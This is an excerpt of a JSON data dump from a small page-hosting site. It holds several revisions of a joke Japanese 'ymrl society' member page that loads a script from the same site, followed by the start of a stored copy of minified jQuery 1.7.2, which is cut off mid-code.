学会\r\n![ymrl](http://farm7.staticflickr.com/6200/6106747606_238600b682_z.jpg)\r\n\r\n![ymrl](http://farm5.staticflickr.com/4147/5066404673_4ac4b89a88_z.jpg)\r\n## 趣旨\r\nymrl について研究します\r\n\r\n## 会長\r\n- ssig33\r\n\r\n## 副会長\r\n- nyontan\r\n\r\n## 会員\r\n- shunirr\r\n\r\n## 研究成果\r\n### なんと今日は ymrl の誕生日らしいです。\r\n### おめでとうございます\r\n### 役に立つ URL です [http://www.ymrl.net/warn.txt](http://www.ymrl.net/warn.txt)\r\n\r\n\u003cscript src='http://ssig33.com/js/youpy.js'\u003e\u003c/script\u003e\r\n\r\nsubdomain only","created_at":"2012-06-11T08:05:03.000Z","updated_at":"2012-06-11T08:05:03.000Z"},{"id":2100,"name":"ymrl.ssig33.com","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\r\n\u003cbutton id='youpy'\u003eCSSを適用する\u003c/button\u003e\r\n\r\n# ymrl 学会\r\n![ymrl](http://farm7.staticflickr.com/6200/6106747606_238600b682_z.jpg)\r\n\r\n![ymrl](http://farm5.staticflickr.com/4147/5066404673_4ac4b89a88_z.jpg)\r\n## 趣旨\r\nymrl について研究します\r\n\r\n## 会長\r\n- ssig33\r\n\r\n## 副会長\r\n- nyontan\r\n\r\n## 会員\r\n- shunirr\r\n- Misho\r\n\r\n## 研究成果\r\n### なんと今日は ymrl の誕生日らしいです。\r\n### おめでとうございます\r\n### 役に立つ URL です [http://www.ymrl.net/warn.txt](http://www.ymrl.net/warn.txt)\r\n\r\n\u003cscript src='http://ssig33.com/js/youpy.js'\u003e\u003c/script\u003e\r\n\r\nsubdomain only","created_at":"2012-06-11T08:09:52.000Z","updated_at":"2012-06-11T08:09:52.000Z"},{"id":2101,"name":"ymrl.ssig33.com","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\r\n\u003cbutton id='youpy'\u003eCSSを適用する\u003c/button\u003e\r\n\r\n# ymrl 学会\r\n![ymrl](http://farm7.staticflickr.com/6200/6106747606_238600b682_z.jpg)\r\n\r\n![ymrl](http://farm5.staticflickr.com/4147/5066404673_4ac4b89a88_z.jpg)\r\n## 趣旨\r\nymrl について研究します\r\n\r\n## 会長\r\n- ssig33\r\n\r\n## 副会長\r\n- nyontan\r\n\r\n## 会員\r\n- shunirr\r\n- Misho\r\n- breeziness\r\n\r\n## 研究成果\r\n### なんと今日は ymrl の誕生日らしいです。\r\n### おめでとうございます\r\n### 役に立つ URL です [http://www.ymrl.net/warn.txt](http://www.ymrl.net/warn.txt)\r\n\r\n\u003cscript src='http://ssig33.com/js/youpy.js'\u003e\u003c/script\u003e\r\n\r\nsubdomain only","created_at":"2012-06-11T08:12:44.000Z","updated_at":"2012-06-11T08:12:44.000Z"},{"id":2102,"name":"jquery.js","body":"raw\nmime js\n/*! jQuery v1.7.2 jquery.com | jquery.org/license */\n(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f(\"\u003c\"+a+\"\u003e\").appendTo(b),e=d.css(\"display\");d.remove();if(e===\"none\"||e===\"\"){ck||(ck=c.createElement(\"iframe\"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?\"\u003c!doctype html\u003e\":\"\")+\"\u003chtml\u003e\u003cbody\u003e\"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,\"display\"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject(\"Microsoft.XMLHTTP\")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter\u0026\u0026(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g\u003ci;g++){if(g===1)for(h in a.converters)typeof h==\"string\"\u0026\u0026(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k===\"*\")k=l;else if(l!==\"*\"\u0026\u0026l!==k){m=l+\" \"+k,n=e[m]||e[\"* \"+k];if(!n){p=b;for(o in e){j=o.split(\" \");if(j[0]===l||j[0]===\"*\"){p=e[j[1]+\" \"+k];if(p){o=e[o],o===!0?n=p:p===!0\u0026\u0026(n=o);break}}}}!n\u0026\u0026!p\u0026\u0026f.error(\"No conversion from \"+m.replace(\" \",\" to \")),n!==!0\u0026\u0026(c=n?n(c):p(o(c)))}}return c}function ca(a,c,d){var e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d\u0026\u0026(c[g[i]]=d[i]);while(f[0]===\"*\")f.shift(),h===b\u0026\u0026(h=a.mimeType||c.getResponseHeader(\"content-type\"));if(h)for(i in e)if(e[i]\u0026\u0026e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+\" \"+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]\u0026\u0026f.unshift(j);return d[j]}}function b_(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bD.test(a)?d(a,e):b_(a+\"[\"+(typeof e==\"object\"?b:\"\")+\"]\",e,c,d)});else if(!c\u0026\u0026f.type(b)===\"object\")for(var e in b)b_(a+\"[\"+e+\"]\",b[e],c,d);else d(a,b)}function b$(a,c){var d,e,g=f.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b\u0026\u0026((g[d]?a:e||(e={}))[d]=c[d]);e\u0026\u0026f.extend(!0,a,e)}function bZ(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h=a[f],i=0,j=h?h.length:0,k=a===bS,l;for(;i\u003cj\u0026\u0026(k||!l);i++)l=h[i](c,d,e),typeof l==\"string\"\u0026\u0026(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=bZ(a,c,d,e,l,g)));(k||!l)\u0026\u0026!g[\"*\"]\u0026\u0026(l=bZ(a,c,d,e,\"*\",g));return l}function bY(a){return function(b,c){typeof b!=\"string\"\u0026\u0026(c=b,b=\"*\");if(f.isFunction(c)){var d=b.toLowerCase().split(bO),e=0,g=d.length,h,i,j;for(;e\u003cg;e++)h=d[e],j=/^\\+/.test(h),j\u0026\u0026(h=h.substr(1)||\"*\"),i=a[h]=a[h]||[],i[j?\"unshift\":\"push\"](c)}}}function bB(a,b,c){var d=b===\"width\"?a.offsetWidth:a.offsetHeight,e=b===\"width\"?1:0,g=4;if(d\u003e0){if(c!==\"border\")for(;e\u003cg;e+=2)c||(d-=parseFloat(f.css(a,\"padding\"+bx[e]))||0),c===\"margin\"?d+=parseFloat(f.css(a,c+bx[e]))||0:d-=parseFloat(f.css(a,\"border\"+bx[e]+\"Width\"))||0;return d+\"px\"}d=by(a,b);if(d\u003c0||d==null)d=a.style[b];if(bt.test(d))return d;d=parseFloat(d)||0;if(c)for(;e\u003cg;e+=2)d+=parseFloat(f.css(a,\"padding\"+bx[e]))||0,c!==\"padding\"\u0026\u0026(d+=parseFloat(f.css(a,\"border\"+bx[e]+\"Width\"))||0),c===\"margin\"\u0026\u0026(d+=parseFloat(f.css(a,c+bx[e]))||0);return d+\"px\"}function bo(a){var b=c.createElement(\"div\");bh.appendChild(b),b.innerHTML=a.outerHTML;return b.firstChild}function bn(a){var b=(a.nodeName||\"\").toLowerCase();b===\"input\"?bm(a):b!==\"script\"\u0026\u0026typeof a.getElementsByTagName!=\"undefined\"\u0026\u0026f.grep(a.getElementsByTagName(\"input\"),bm)}function bm(a){if(a.type===\"checkbox\"||a.type===\"radio\")a.defaultChecked=a.checked}function bl(a){return typeof a.getElementsByTagName!=\"undefined\"?a.getElementsByTagName(\"*\"):typeof a.querySelectorAll!=\"undefined\"?a.querySelectorAll(\"*\"):[]}function bk(a,b){var c;b.nodeType===1\u0026\u0026(b.clearAttributes\u0026\u0026b.clearAttributes(),b.mergeAttributes\u0026\u0026b.mergeAttributes(a),c=b.nodeName.toLowerCase(),c===\"object\"?b.outerHTML=a.outerHTML:c!==\"input\"||a.type!==\"checkbox\"\u0026\u0026a.type!==\"radio\"?c===\"option\"?b.selected=a.defaultSelected:c===\"input\"||c===\"textarea\"?b.defaultValue=a.defaultValue:c===\"script\"\u0026\u0026b.text!==a.text\u0026\u0026(b.text=a.text):(a.checked\u0026\u0026(b.defaultChecked=b.checked=a.checked),b.value!==a.value\u0026\u0026(b.value=a.value)),b.removeAttribute(f.expando),b.removeAttribute(\"_submit_attached\"),b.removeAttribute(\"_change_attached\"))}function bj(a,b){if(b.nodeType===1\u0026\u0026!!f.hasData(a)){var c,d,e,g=f._data(a),h=f._data(b,g),i=g.events;if(i){delete h.handle,h.events={};for(c in i)for(d=0,e=i[c].length;d\u003ce;d++)f.event.add(b,c,i[c][d])}h.data\u0026\u0026(h.data=f.extend({},h.data))}}function bi(a,b){return f.nodeName(a,\"table\")?a.getElementsByTagName(\"tbody\")[0]||a.appendChild(a.ownerDocument.createElement(\"tbody\")):a}function U(a){var b=V.split(\"|\"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}function T(a,b,c){b=b||0;if(f.isFunction(b))return f.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b==\"string\"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArray(a,b)\u003e=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+\"defer\",e=b+\"queue\",g=b+\"mark\",h=f._data(a,d);h\u0026\u0026(c===\"queue\"||!f._data(a,e))\u0026\u0026(c===\"mark\"||!f._data(a,g))\u0026\u0026setTimeout(function(){!f._data(a,e)\u0026\u0026!f._data(a,g)\u0026\u0026(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b===\"data\"\u0026\u0026f.isEmptyObject(a[b]))continue;if(b!==\"toJSON\")return!1}return!0}function l(a,c,d){if(d===b\u0026\u0026a.nodeType===1){var e=\"data-\"+c.replace(k,\"-$1\").toLowerCase();d=a.getAttribute(e);if(typeof d==\"string\"){try{d=d===\"true\"?!0:d===\"false\"?!1:d===\"null\"?null:f.isNumeric(d)?+d:j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\\s+/);for(c=0,d=a.length;c\u003cd;c++)b[a[c]]=!0;return b}var c=a.document,d=a.navigator,e=a.location,f=function(){function J(){if(!e.isReady){try{c.documentElement.doScroll(\"left\")}catch(a){setTimeout(J,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#\u003c]*(\u003c[\\w\\W]+\u003e)[^\u003e]*$|#([\\w\\-]*)$)/,j=/\\S/,k=/^\\s+/,l=/\\s+$/,m=/^\u003c(\\w+)\\s*\\/?\u003e(?:\u003c\\/\\1\u003e)?$/,n=/^[\\],:{}\\s]*$/,o=/\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g,q=/(?:^|:|,)(?:\\s*\\[)+/g,r=/(webkit)[ \\/]([\\w.]+)/,s=/(opera)(?:.*version)?[ \\/]([\\w.]+)/,t=/(msie) ([\\w.]+)/,u=/(mozilla)(?:.*? rv:([\\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+\"\").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a===\"body\"\u0026\u0026!d\u0026\u0026c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a==\"string\"){a.charAt(0)!==\"\u003c\"||a.charAt(a.length-1)!==\"\u003e\"||a.length\u003c3?g=i.exec(a):g=[null,a,null];if(g\u0026\u0026(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h\u0026\u0026h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b\u0026\u0026(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:\"\",jquery:\"1.7.2\",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a\u003c0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b===\"find\"?d.selector=this.selector+(this.selector?\" \":\"\")+c:b\u0026\u0026(d.selector=this.selector+\".\"+b+\"(\"+c+\")\");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),\"slice\",F.call(arguments).join(\",\"))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i==\"boolean\"\u0026\u0026(l=i,i=arguments[1]||{},j=2),typeof i!=\"object\"\u0026\u0026!e.isFunction(i)\u0026\u0026(i={}),k===j\u0026\u0026(i=this,--j);for(;j\u003ck;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l\u0026\u0026f\u0026\u0026(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d\u0026\u0026e.isArray(d)?d:[]):h=d\u0026\u0026e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b\u0026\u0026(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e\u0026\u0026(a.$=g),b\u0026\u0026a.jQuery===e\u0026\u0026(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0\u0026\u0026!--e.readyWait||a!==!0\u0026\u0026!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0\u0026\u0026--e.readyWait\u003e0)return;A.fireWith(c,[e]),e.fn.trigger\u0026\u0026e(c).trigger(\"ready\").off(\"ready\")}},bindReady:function(){if(!A){A=e.Callbacks(\"once memory\");if(c.readyState===\"complete\")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener(\"DOMContentLoaded\",B,!1),a.addEventListener(\"load\",e.ready,!1);else if(c.attachEvent){c.attachEvent(\"onreadystatechange\",B),a.attachEvent(\"onload\",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll\u0026\u0026b\u0026\u0026J()}}},isFunction:function(a){return e.type(a)===\"function\"},isArray:Array.isArray||function(a){return e.type(a)===\"array\"},isWindow:function(a){return a!=null\u0026\u0026a==a.window},isNumeric:function(a){return!isNaN(parseFloat(a))\u0026\u0026isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||\"object\"},isPlainObject:function(a){if(!a||e.type(a)!==\"object\"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor\u0026\u0026!D.call(a,\"constructor\")\u0026\u0026!D.call(a.constructor.prototype,\"isPrototypeOf\"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!=\"string\"||!b)return null;b=e.trim(b);if(a.JSON\u0026\u0026a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,\"@\").replace(p,\"]\").replace(q,\"\")))return(new Function(\"return \"+b))();e.error(\"Invalid JSON: \"+b)},parseXML:function(c){if(typeof c!=\"string\"||!c)return null;var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,\"text/xml\")):(d=new ActiveXObject(\"Microsoft.XMLDOM\"),d.async=\"false\",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName(\"parsererror\").length)\u0026\u0026e.error(\"Invalid XML: \"+c);return d},noop:function(){},globalEval:function(b){b\u0026\u0026j.test(b)\u0026\u0026(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,\"ms-\").replace(v,x)},nodeName:function(a,b){return a.nodeName\u0026\u0026a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g\u003ch;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g\u003ch;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){return a==null?\"\":G.call(a)}:function(a){return a==null?\"\":(a+\"\").replace(k,\"\").replace(l,\"\")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d===\"string\"||d===\"function\"||d===\"regexp\"||e.isWindow(a)?E.call(c,a):e.merge(c,a)}return c},inArray:function(a,b,c){var d;if(b){if(H)return H.call(b,a,c);d=b.length,c=c?c\u003c0?Math.max(0,d+c):c:0;for(;c\u003cd;c++)if(c in b\u0026\u0026b[c]===a)return c}return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length==\"number\")for(var f=c.length;e\u003cf;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f\u003cg;f++)e=!!b(a[f],f),c!==e\u0026\u0026d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b\u0026\u0026typeof j==\"number\"\u0026\u0026(j\u003e0\u0026\u0026a[0]\u0026\u0026a[j-1]||j===0||e.isArray(a));if(k)for(;i\u003cj;i++)f=c(a[i],i,d),f!=null\u0026\u0026(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null\u0026\u0026(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c==\"string\"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=F.call(arguments,2),g=function(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h,i){var j,k=d==null,l=0,m=a.length;if(d\u0026\u0026typeof d==\"object\"){for(l in d)e.access(a,c,l,d[l],1,h,f);g=1}else if(f!==b){j=i===b\u0026\u0026e.isFunction(f),k\u0026\u0026(j?(j=c,c=function(a,b,c){return j.call(e(a),c)}):(c.call(a,f),c=null));if(c)for(;l\u003cm;l++)c(a[l],d,j?f.call(a[l],l,c(a[l],d)):f,i);g=1}return g?a:k?c.call(a):m?c(a[0],d):h},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf(\"compatible\")\u003c0\u0026\u0026u.exec(a)||[];return{browser:b[1]||\"\",version:b[2]||\"0\"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f\u0026\u0026f instanceof e\u0026\u0026!(f instanceof a)\u0026\u0026(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each(\"Boolean Number String Function Array Date RegExp Object\".split(\" \"),function(a,b){I[\"[object \"+b+\"]\"]=b.toLowerCase()}),z=e.uaMatch(y),z.browser\u0026\u0026(e.browser[z.browser]=!0,e.browser.version=z.version),e.browser.webkit\u0026\u0026(e.browser.safari=!0),j.test(\" \")\u0026\u0026(k=/^[\\s\\xA0]+/,l=/[\\s\\xA0]+$/),h=e(c),c.addEventListener?B=function(){c.removeEventListener(\"DOMContentLoaded\",B,!1),e.ready()}:c.attachEvent\u0026\u0026(B=function(){c.readyState===\"complete\"\u0026\u0026(c.detachEvent(\"onreadystatechange\",B),e.ready())});return e}(),g={};f.Callbacks=function(a){a=a?g[a]||h(a):{};var c=[],d=[],e,i,j,k,l,m,n=function(b){var d,e,g,h,i;for(d=0,e=b.length;d\u003ce;d++)g=b[d],h=f.type(g),h===\"array\"?n(g):h===\"function\"\u0026\u0026(!a.unique||!p.has(g))\u0026\u0026c.push(g)},o=function(b,f){f=f||[],e=!a.memory||[b,f],i=!0,j=!0,m=k||0,k=0,l=c.length;for(;c\u0026\u0026m\u003cl;m++)if(c[m].apply(b,f)===!1\u0026\u0026a.stopOnFalse){e=!0;break}j=!1,c\u0026\u0026(a.once?e===!0?p.disable():c=[]:d\u0026\u0026d.length\u0026\u0026(e=d.shift(),p.fireWith(e[0],e[1])))},p={add:function(){if(c){var a=c.length;n(arguments),j?l=c.length:e\u0026\u0026e!==!0\u0026\u0026(k=a,o(e[0],e[1]))}return this},remove:function(){if(c){var b=arguments,d=0,e=b.length;for(;d\u003ce;d++)for(var f=0;f\u003cc.length;f++)if(b[d]===c[f]){j\u0026\u0026f\u003c=l\u0026\u0026(l--,f\u003c=m\u0026\u0026m--),c.splice(f--,1);if(a.unique)break}}return this},has:function(a){if(c){var b=0,d=c.length;for(;b\u003cd;b++)if(a===c[b])return!0}return!1},empty:function(){c=[];return this},disable:function(){c=d=e=b;return this},disabled:function(){return!c},lock:function(){d=b,(!e||e===!0)\u0026\u0026p.disable();return this},locked:function(){return!d},fireWith:function(b,c){d\u0026\u0026(j?a.once||d.push([b,c]):(!a.once||!e)\u0026\u0026o(b,c));return this},fire:function(){p.fireWith(this,arguments);return this},fired:function(){return!!i}};return p};var i=[].slice;f.extend({Deferred:function(a){var b=f.Callbacks(\"once memory\"),c=f.Callbacks(\"once memory\"),d=f.Callbacks(\"memory\"),e=\"pending\",g={resolve:b,reject:c,notify:d},h={done:b.add,fail:c.add,progress:d.add,state:function(){return e},isResolved:b.fired,isRejected:c.fired,then:function(a,b,c){i.done(a).fail(b).progress(c);return this},always:function(){i.done.apply(i,arguments).fail.apply(i,arguments);return this},pipe:function(a,b,c){return f.Deferred(function(d){f.each({done:[a,\"resolve\"],fail:[b,\"reject\"],progress:[c,\"notify\"]},function(a,b){var c=b[0],e=b[1],g;f.isFunction(c)?i[a](function(){g=c.apply(this,arguments),g\u0026\u0026f.isFunction(g.promise)?g.promise().then(d.resolve,d.reject,d.notify):d[e+\"With\"](this===i?d:this,[g])}):i[a](d[e])})}).promise()},promise:function(a){if(a==null)a=h;else for(var b in h)a[b]=h[b];return a}},i=h.promise({}),j;for(j in g)i[j]=g[j].fire,i[j+\"With\"]=g[j].fireWith;i.done(function(){e=\"resolved\"},c.disable,d.lock).fail(function(){e=\"rejected\"},b.disable,d.lock),a\u0026\u0026a.call(i,i);return i},when:function(a){function m(a){return function(b){e[a]=arguments.length\u003e1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length\u003e1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d\u003c=1\u0026\u0026a\u0026\u0026f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d\u003e1){for(;c\u003cd;c++)b[c]\u0026\u0026b[c].promise\u0026\u0026f.isFunction(b[c].promise)?b[c].promise().then(l(c),j.reject,m(c)):--g;g||j.resolveWith(j,b)}else j!==a\u0026\u0026j.resolveWith(j,d?[a]:[]);return k}}),f.support=function(){var b,d,e,g,h,i,j,k,l,m,n,o,p=c.createElement(\"div\"),q=c.documentElement;p.setAttribute(\"className\",\"t\"),p.innerHTML=\" \u003clink/\u003e\u003ctable\u003e\u003c/table\u003e\u003ca href='/a' style='top:1px;float:left;opacity:.55;'\u003ea\u003c/a\u003e\u003cinput type='checkbox'/\u003e\",d=p.getElementsByTagName(\"*\"),e=p.getElementsByTagName(\"a\")[0];if(!d||!d.length||!e)return{};g=c.createElement(\"select\"),h=g.appendChild(c.createElement(\"option\")),i=p.getElementsByTagName(\"input\")[0],b={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName(\"tbody\").length,htmlSerialize:!!p.getElementsByTagName(\"link\").length,style:/top/.test(e.getAttribute(\"style\")),hrefNormalized:e.getAttribute(\"href\")===\"/a\",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value===\"on\",optSelected:h.selected,getSetAttribute:p.className!==\"t\",enctype:!!c.createElement(\"form\").enctype,html5Clone:c.createElement(\"nav\").cloneNode(!0).outerHTML!==\"\u003c:nav\u003e\u003c/:nav\u003e\",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,pixelMargin:!0},f.boxModel=b.boxModel=c.compatMode===\"CSS1Compat\",i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete p.test}catch(r){b.deleteExpando=!1}!p.addEventListener\u0026\u0026p.attachEvent\u0026\u0026p.fireEvent\u0026\u0026(p.attachEvent(\"onclick\",function(){b.noCloneEvent=!1}),p.cloneNode(!0).fireEvent(\"onclick\")),i=c.createElement(\"input\"),i.value=\"t\",i.setAttribute(\"type\",\"radio\"),b.radioValue=i.value===\"t\",i.setAttribute(\"checked\",\"checked\"),i.setAttribute(\"name\",\"t\"),p.appendChild(i),j=c.createDocumentFragment(),j.appendChild(p.lastChild),b.checkClone=j.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,j.removeChild(i),j.appendChild(p);if(p.attachEvent)for(n in{submit:1,change:1,focusin:1})m=\"on\"+n,o=m in p,o||(p.setAttribute(m,\"return;\"),o=typeof p[m]==\"function\"),b[n+\"Bubbles\"]=o;j.removeChild(p),j=g=h=p=i=null,f(function(){var d,e,g,h,i,j,l,m,n,q,r,s,t,u=c.getElementsByTagName(\"body\")[0];!u||(m=1,t=\"padding:0;margin:0;border:\",r=\"position:absolute;top:0;left:0;width:1px;height:1px;\",s=t+\"0;visibility:hidden;\",n=\"style='\"+r+t+\"5px solid #000;\",q=\"\u003cdiv \"+n+\"display:block;'\u003e\u003cdiv style='\"+t+\"0;display:block;overflow:hidden;'\u003e\u003c/div\u003e\u003c/div\u003e\"+\"\u003ctable \"+n+\"' cellpadding='0' cellspacing='0'\u003e\"+\"\u003ctr\u003e\u003ctd\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\",d=c.createElement(\"div\"),d.style.cssText=s+\"width:0;height:0;position:static;top:0;margin-top:\"+m+\"px\",u.insertBefore(d,u.firstChild),p=c.createElement(\"div\"),d.appendChild(p),p.innerHTML=\"\u003ctable\u003e\u003ctr\u003e\u003ctd style='\"+t+\"0;display:none'\u003e\u003c/td\u003e\u003ctd\u003et\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\",k=p.getElementsByTagName(\"td\"),o=k[0].offsetHeight===0,k[0].style.display=\"\",k[1].style.display=\"none\",b.reliableHiddenOffsets=o\u0026\u0026k[0].offsetHeight===0,a.getComputedStyle\u0026\u0026(p.innerHTML=\"\",l=c.createElement(\"div\"),l.style.width=\"0\",l.style.marginRight=\"0\",p.style.width=\"2px\",p.appendChild(l),b.reliableMarginRight=(parseInt((a.getComputedStyle(l,null)||{marginRight:0}).marginRight,10)||0)===0),typeof p.style.zoom!=\"undefined\"\u0026\u0026(p.innerHTML=\"\",p.style.width=p.style.padding=\"1px\",p.style.border=0,p.style.overflow=\"hidden\",p.style.display=\"inline\",p.style.zoom=1,b.inlineBlockNeedsLayout=p.offsetWidth===3,p.style.display=\"block\",p.style.overflow=\"visible\",p.innerHTML=\"\u003cdiv 